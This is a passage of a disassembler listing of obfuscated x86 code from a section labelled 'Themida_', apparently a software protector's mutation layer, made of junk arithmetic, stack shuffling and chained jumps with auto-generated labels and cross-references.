		jmp	loc_5A98B0
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A301F:				; CODE XREF: sub_5986D6+6C54j
		mov	dl, ch
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5AC361
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A3029:				; CODE XREF: sub_59FFBE:loc_5AB41Fj
		xor	esi, 0BFA7FFDBh
		mov	edx, esi
		push	dword ptr [esp+0]
		jmp	loc_59E998
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A3039:				; CODE XREF: Themida_:005982D5j
		sub	ecx, 7A081171h
		jno	loc_5A19A0
		jmp	loc_59F8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A304A:				; CODE XREF: sub_5AC95F-D19Aj
		jz	loc_59CAF3
		inc	esi
		jl	loc_59BA6C
		sub	esi, 0CB10DD28h
		push	esi
		sub	dword ptr [esp+0], 40F93C87h
		pop	ecx
		add	ecx, 40F93C87h
		pop	esi
		jmp	loc_5A9081
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A3072:				; CODE XREF: sub_59CFBF+C2C8j
		shr	ebx, 2
		shr	ebx, 3
		not	ebx
		not	ebx
		inc	ebx
		xor	ebx, 2E3197E9h
		and	esi, ebx
		pop	ebx
		add	esi, 18EA559Ah
		jmp	sub_5A4F3D
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A3091:				; CODE XREF: Themida_:loc_59ABB2j
					; sub_5AC95F-FE6Bj
		shl	eax, 2
		jp	loc_5AC111
		dec	eax
		jmp	loc_5A8CA6
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		pop	esi
		sub	esp, 4
		push	edx
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A30A8:				; CODE XREF: sub_599059+259Aj
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A30AD:				; CODE XREF: Themida_:00598252j
					; sub_598D67+10B53j
		push	esp
		jmp	loc_5AB0F1
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A30B3:				; CODE XREF: sub_5A8C33-5CF9j
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_5A5DFA
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5A30BD	proc near		; CODE XREF: sub_59F97E+EE21j

; FUNCTION CHUNK AT 005A66CD SIZE 0000001A BYTES

		push	ebx
		jmp	loc_5A66CD
sub_5A30BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A30C3:				; CODE XREF: sub_5A728F-BD1Aj
		add	edi, 514325Ah
		sub	edi, esi
		sub	edi, 514325Ah
		push	edx
		mov	edx, 76484B40h
		add	edi, edx
		jmp	loc_5A894D
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_5A30DE:				; CODE XREF: Themida_:loc_5AE56Bj
		add	eax, 63975CBDh
		mov	edi, eax
		pop	eax
		jmp	loc_5AC5AA
; ---------------------------------------------------------------------------


loc_5A30EB:				; CODE XREF: Themida_:0059C4D9j
		push	dword ptr [eax]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A30F2:				; CODE XREF: sub_5AB3DC-C19Cj
		push	edi
		jmp	loc_5A2948
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A30F8:				; CODE XREF: sub_59B707+78A8j
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_59EAF1
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A3102:				; CODE XREF: sub_59DFDD:loc_5A721Ej
		inc	ebp
		jg	loc_59C37B
		inc	ebp
		jg	loc_5A4713
		not	ebp
		neg	ebp
		and	al, 0FAh
		mov	ebx, ebp
		mov	cx, word ptr [esp+8+var_8]
		push	73C7h
		mov	[esp+0Ch+var_C], edi
		jmp	loc_5A4156
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------


loc_5A3129:				; CODE XREF: Themida_:0059E3E8j
		add	esp, 4
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A3134:				; CODE XREF: sub_5AC95F-CB1Dj
		add	esp, 4
		sub	cl, 49h
		js	loc_5A6EC9
		jmp	loc_59E28E
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A3145:				; CODE XREF: Themida_:005A7194j
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_599AA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A3167:				; CODE XREF: sub_5A3F42-4DDEj
		add	esi, ecx
		sub	esi, 7AA91EBAh
		sub	esi, 2C4F092Bh
		mov	ecx, [esp+4+var_4]
		jmp	loc_5AE8C8
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A317D:				; CODE XREF: sub_5AC95F-D582j
		not	esi
		and	esi, 2626BB2h
		jbe	loc_59C768
		jmp	loc_5A167F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A3190:				; CODE XREF: sub_5ACD64+9A0j
		push	edi
		mov	edi, 712A0999h
		or	edi, 0FA422Fh
		not	edi
		xor	edi, 0AC29E397h
		sub	esi, edi
		pop	edi
		push	[esp-10h+arg_C]
		jmp	loc_59B1E3
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A31AF:				; CODE XREF: sub_59B707+294Dj
		pop	eax
		jmp	loc_59995C
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A31B5:				; CODE XREF: sub_5A8D43-B346j
		mov	edx, 0F596677h
		shr	edx, 3
		shr	edx, 2
		not	edx
		add	edx, 1F315D30h
		neg	edx
		jmp	loc_5A6DE3
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A31CF:				; CODE XREF: sub_5A3D81-9E22j
					; sub_599059:loc_5ACE72j
		push	6FDDh
		mov	[esp-6+arg_0+2], ebp
		jmp	loc_5A85A2
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A31DC:				; CODE XREF: Themida_:005AB261j
		xor	edx, 49FA2FBFh
		not	edx
		xor	edx, 4DBC7B4Fh
		push	edi
		mov	edi, 4A501D85h
		add	edi, 25395142h
		shr	edi, 8
		not	edi
		add	edi, 1420BD4h
		jmp	loc_59A380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A3206:				; CODE XREF: sub_5AC402-B27Dj
					; sub_59D7E7+1111Dj
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 64997907h
		mov	ebx, eax
		pop	eax
		push	edx
		jmp	loc_59E6BA
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_5A3219:				; CODE XREF: sub_5AA256-A6CAj
		sub	ebx, 0A8AE78E0h
		push	ebx
		sub	esp, 4
		mov	[esp-0Ah+arg_6], ebx
		jmp	loc_5AA821
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------


loc_5A322B:				; CODE XREF: Themida_:005A9CB2j
		push	ebx
		mov	ebx, 4
		sub	eax, 3222DFh
		add	eax, ebx
		add	eax, 3222DFh
		jmp	loc_5992EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A3242:				; CODE XREF: sub_598D16:loc_59F6E2j
					; Themida_:005AEC93j
		or	edi, 16035389h
		jle	loc_59AF3F
		add	edi, 4E57B2D0h
		push	edi
		add	[esp+18h+var_18], 29E47EA9h
		pop	esi
		push	edi
		mov	edi, 29E47EA9h
		sub	esi, edi
		pop	edi
		jmp	loc_5A26D7
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A326B:				; CODE XREF: sub_599526+7E81j
		or	ah, 6
		jmp	loc_5A54F0
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A3273:				; CODE XREF: sub_599059+152B3j
		not	esi
		jmp	loc_5A2863
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A327A:				; CODE XREF: sub_59CD12+16j
		push	edi
		mov	edi, 0A0D193Fh
		shl	edi, 1
		jnp	loc_5ACA94
		xor	edi, 3C802FA2h
		mov	edx, edi
		pop	edi
		mov	ebp, edx
		pop	edx
		sub	[esp+8+var_4], ebp
		jmp	loc_5A95A0
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------


loc_5A329D:				; CODE XREF: Themida_:005A105Bj
		push	ebx
		mov	ebx, 76912BE2h
		sub	ebx, 6AB7155Dh
		jmp	loc_59ADBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_5A32AE:				; CODE XREF: sub_5A7C98-BDAFj
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	ebx
		mov	ebx, 5981168Ch
		sub	[esp+8+var_4], ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 5981168Ch
		jmp	loc_5A78FE
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A32D7:				; CODE XREF: sub_59B707-D98j
		mov	esi, eax
		pop	eax
		dec	esi
		xor	esi, 187E6235h
		or	eax, esi
		pop	esi
		xor	eax, 1D667513h
		xor	ebp, eax
		pop	eax
		not	ebp
		push	ebx
		jmp	loc_5AC9C4
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A32F4:				; CODE XREF: Themida_:00598243j
		push	esi
		mov	esi, 111968D4h
		or	edx, esi
		pop	esi
		jmp	loc_5995BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A3302:				; CODE XREF: sub_59DBFF+41A4j
		pop	ecx
		jmp	loc_5A0327
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5A3308:				; CODE XREF: sub_5A95E0-6A21j
		mov	edx, 4FF17053h
		mov	ecx, 4FF17057h
		jmp	loc_5AF15B
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------


loc_5A3317:				; CODE XREF: Themida_:005A4848j
		xor	edi, 61FEBC04h
		sub	esi, edi
		jmp	loc_5A1797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A3324:				; CODE XREF: sub_5A438E+5347j
		mov	esi, edi
		jmp	loc_59FB08
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_5A332B:				; CODE XREF: sub_5A70C2-93DBj
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		xor	byte ptr [esp-0Ch+arg_8], al
		pushf
		jmp	loc_597ED8
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------


loc_5A333E:				; CODE XREF: Themida_:0059C4D3j
		push	0
		jmp	loc_5AD766
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3348:				; CODE XREF: sub_5A8D43-1BBCj
		add	esp, 4
		push	esi
		mov	esi, 0D2B2FFDh
		sub	eax, 4A152518h
		jmp	loc_5AA0F2
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A335E:				; CODE XREF: sub_59A932+AC7Cj
		add	esp, 4
		jmp	loc_59E69F
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3366:				; CODE XREF: sub_5A8D43-3CF1j
		shl	ebp, 6
		xchg	eax, ebp
		neg	eax
		xchg	eax, ebp
		add	ebp, 8D4479F2h
		push	ecx
		mov	ecx, 47335380h
		jmp	loc_5A34DC
; END OF FUNCTION CHUNK	FOR sub_5A8D43

; =============== S U B	R O U T	I N E =======================================



sub_5A337E	proc near		; DATA XREF: Themida_:00597ABCo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005991AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6BDD SIZE 00000010 BYTES

		push	227Bh
		jmp	loc_5991AF
sub_5A337E	endp

; ---------------------------------------------------------------------------


loc_5A3388:				; CODE XREF: Themida_:005A5407j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 3E2278h
		add	eax, ebx
		sub	eax, 3E2278h
		add	eax, 5F2011B3h
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_5A3627
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A33AB:				; CODE XREF: sub_5AEE2E-4442j
		xor	edi, 0CE360E74h
		mov	ebp, edi
		pop	edi
		shl	ebp, 4
		js	loc_5A9B8E
		push	637Ch
		mov	[esp+0], ebp
		jmp	loc_5A6477
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5A33CA:				; CODE XREF: Themida_:005AE9C4j
		or	ecx, eax
		pop	eax
		dec	ecx
		jmp	loc_5A5522
; ---------------------------------------------------------------------------


loc_5A33D3:				; CODE XREF: Themida_:005ACF43j
		xor	ebx, 38651C13h
		sub	edx, ebx
		pop	ebx
		pop	ebx
		push	ebx
		mov	ebx, 27586931h
		inc	ebx
		not	ebx
		sub	ebx, 0D8A796CBh
		jmp	loc_59ADFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A33F1:				; CODE XREF: sub_5A141E+83A4j
		mov	ebp, 404F17D8h
		sub	eax, ebp
		pop	ebp
		sub	eax, ebx
		add	eax, 404F17D8h
		pop	ebx
		jmp	loc_5ADE09
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E39


loc_5A3406:				; CODE XREF: sub_5A4E39+1j
		mov	ebp, 0D7C4C9EAh
		add	edi, ebp
		jmp	loc_59F2E3
; END OF FUNCTION CHUNK	FOR sub_5A4E39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3412:				; CODE XREF: sub_59B707+8BB6j
		jmp	loc_5A67DE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A3417:				; CODE XREF: sub_5AB3DC-106Ej
		push	edx
		mov	edx, 0E41603Ah
		dec	edx
		jle	loc_5AC680
		not	edx
		sub	edx, 58966125h
		jnp	loc_59AFE3
		jmp	sub_5ADE64
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
		push	25387A9Eh
		pop	edx
		mov	dl, bl
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A343F:				; CODE XREF: sub_5AC95F-F7Fj
		push	56EDh
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		jmp	loc_59BA93
; ---------------------------------------------------------------------------


loc_5A3451:				; CODE XREF: sub_5AC95F-10341j
		mov	dx, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_5A5315
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A80D3


loc_5A345D:				; CODE XREF: sub_5A80D3+Fj
		xchg	ebp, [esp+0]
		jmp	loc_5A7EA5
; END OF FUNCTION CHUNK	FOR sub_5A80D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3465:				; CODE XREF: sub_59B707+B8DFj
		or	ah, 0F6h
		jmp	loc_5AA313
; END OF FUNCTION CHUNK	FOR sub_59B707

; =============== S U B	R O U T	I N E =======================================



sub_5A346D	proc near		; CODE XREF: sub_5AC95F-D83Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598759 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CE1F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059FA8A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A9576 SIZE 0000000A BYTES

		push	ebx
		push	edi
		mov	edi, 6C7D0B7Ch
		jmp	loc_5A9576
sub_5A346D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_5A3479:				; CODE XREF: sub_5A980C+9j
		mov	esi, esp
		push	edx
		jmp	loc_5A695A
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------


loc_5A3481:				; CODE XREF: Themida_:005AE0F0j
		mov	edi, [esp]
		jmp	loc_5A0F5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A3489:				; CODE XREF: sub_59F20F-38DAj
		mov	[esp+0], eax
		xor	[esp+0], eax
		xor	eax, [esp+0]
		xor	[esp+0], eax
		not	eax
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A4B34
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A34A1:				; CODE XREF: sub_59CA4A:loc_59CF28j
					; sub_5ABF4A-EEFFj ...
		add	esp, 4
		and	ebx, ebp
		push	[esp+8+var_8]
		jmp	loc_5A3CE6
; ---------------------------------------------------------------------------


loc_5A34AE:				; CODE XREF: sub_59B707+9F42j
					; sub_59CA4A+B116j
		or	ebp, eax
		push	[esp+0Ch+var_C]
		jmp	loc_5A5FFB
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A34B8:				; CODE XREF: Themida_:005A72BEj
		sub	ebx, 4F100470h
		add	ebx, 592B6FEBh
		add	ebx, esi
		sub	ebx, 592B6FEBh
		jmp	loc_59DDB5
; ---------------------------------------------------------------------------


loc_5A34D1:				; CODE XREF: Themida_:0059B73Bj
		add	ebx, 0EC476C55h
		jmp	loc_5A2404
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A34DC:				; CODE XREF: sub_5A8D43-59CAj
		sub	edx, ecx
		pop	ecx
		jmp	loc_59D838
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A34E4:				; CODE XREF: sub_5AE6FD-6369j
		mov	al, 0AFh
		xor	al, 7Dh
		not	al
		jmp	loc_5A38AE
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A34EF:				; CODE XREF: sub_5A8D43:loc_59BC1Cj
		add	ecx, 0FF241FD3h
		add	edx, ecx
		pop	ecx
		jmp	loc_5AB946
; END OF FUNCTION CHUNK	FOR sub_5A8D43

; =============== S U B	R O U T	I N E =======================================



sub_5A34FD	proc near		; CODE XREF: sub_5986D6+125CCj
					; sub_59CA4A+11B1Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597E99 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00598437 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00598947 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598CCF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A41C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059BEEE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C975 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D1A9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EB04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F0CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1C04 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2952 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A40DC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4169 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A45FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4F8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5876 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A5B40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6A97 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8DAC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA9B4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB6B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD1F9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD80F SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_59D1A9
sub_5A34FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A3519:				; CODE XREF: sub_59D00D:loc_5AB76Ej
		add	ecx, 0A1400427h
		jmp	loc_59ADAD
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A3524:				; CODE XREF: sub_59C53B+D9C2j
		pop	edi
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+8+var_8]
		jmp	loc_5A4304
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3530:				; CODE XREF: sub_5A8D43-D3C4j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5ADEDA
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A353D:				; CODE XREF: sub_5AE6FD-6D79j
		mov	bl, 7Ah
		or	bl, 97h
		push	ecx
		mov	ch, 0D3h
		xor	ch, 9Ah
		add	bl, 0E8h
		add	bl, ch
		sub	bl, 0E8h
		pop	ecx
		or	bl, 0Fh
		sub	bl, 0EAh
		sub	al, bl
		pop	ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		pop	ebx
		push	dx
		mov	dh, 9Dh
		add	bl, 1Ah
		add	bl, dh
		sub	bl, 1Ah
		mov	dx, [esp+0]
		jmp	loc_59C831
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A3579:				; CODE XREF: Themida_:loc_5AEC88j
		xor	eax, 3941465h
		jle	loc_598566
		push	ecx
		mov	ecx, 13D775B8h
		add	eax, ecx
		jmp	loc_599012
; ---------------------------------------------------------------------------
		push	edi
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_5A3592:				; CODE XREF: sub_59EE57-EF1j
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	edi
		mov	edi, 4
		jmp	loc_59F809
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A35A7:				; CODE XREF: sub_5A1B2A+76D6j
		push	549Ch
		push	esp
		pop	[esp+0Ah+var_C+2]
		push	46E9h
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 4
		add	[esp+0Ah+var_8+2], edx
		pop	edx
		pop	eax
		push	esi
		jmp	loc_5ABB34
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A35C9:				; CODE XREF: sub_5A28BE-2034j
					; sub_5AC402-2013j
		add	bl, 0DFh
		sub	bl, 74h
		sub	bl, 0DBh
		add	bl, al
		add	bl, 0DBh
		push	cx
		push	eax
		mov	al, 9Eh
		mov	ch, 0D6h
		add	ch, al
		pop	eax
		add	bl, ch
		jmp	loc_5AAF62
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A35E8:				; CODE XREF: sub_59D00D-1A66j
		pop	ecx
		mov	ecx, [esp+0Ch+var_C]
		push	1008h
		mov	[esp+10h+var_10], edi
		jmp	loc_59FEDD
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A35F9:				; CODE XREF: sub_59D99C+C972j
		xchg	edi, [esp+0]
		pop	esp
		or	dx, 5FCEh
		jmp	loc_5A6DAC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A3607:				; CODE XREF: sub_5A8C33-6455j
		sub	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_5AD570
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A3614:				; CODE XREF: Themida_:0059A3C2j
		and	edi, 0B6D7715h
		jmp	loc_5A998D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_5A361F:				; CODE XREF: sub_5AC9FF+D58j
		push	cx
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC9FF
; ---------------------------------------------------------------------------


loc_5A3627:				; CODE XREF: Themida_:005A33A6j
		mov	[esp], edi
		push	37EC46AEh
		pop	edi
		sub	edi, 0FFFFFFFFh
		sub	edi, 37EC46ABh
		add	ecx, 19004703h
		add	ecx, 2FB4201Ah
		add	ecx, edi
		sub	ecx, 2FB4201Ah
		sub	ecx, 19004703h
		pop	edi
		jmp	loc_597E84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A3659:				; CODE XREF: sub_599526+12A92j
		pop	ecx
		add	ebp, ebx
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 5C647D08h
		add	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AEDF1
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3677:				; CODE XREF: sub_5A8D43:loc_5A9215j
		push	ax
		jmp	loc_599930
; ---------------------------------------------------------------------------


loc_5A367E:				; CODE XREF: sub_5A8D43-718j
		add	cl, 83h
		xor	cl, 0B1h
		add	cl, 3Eh
		shl	cl, 6
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebx
		push	edx
		mov	dl, 8Ch
		mov	bl, 3Bh
		add	bl, dl
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		shl	bl, 6
		xor	bl, 57h
		or	bl, 9Eh
		push	edx
		mov	dh, 0F9h
		add	bl, dh
		pop	edx
		jmp	loc_5A3ACD
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A36B4:				; CODE XREF: sub_59ACEC+13F97j
		add	ecx, 1AE35A7Dh
		push	ecx
		not	[esp+4+var_4]
		pop	ecx
		inc	ecx
		push	ebp
		jmp	loc_5AE8AD
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A36C6:				; CODE XREF: sub_59B707:loc_5A1278j
					; sub_5A7CF9+2795j
		xor	ecx, [esp+10h+var_10]
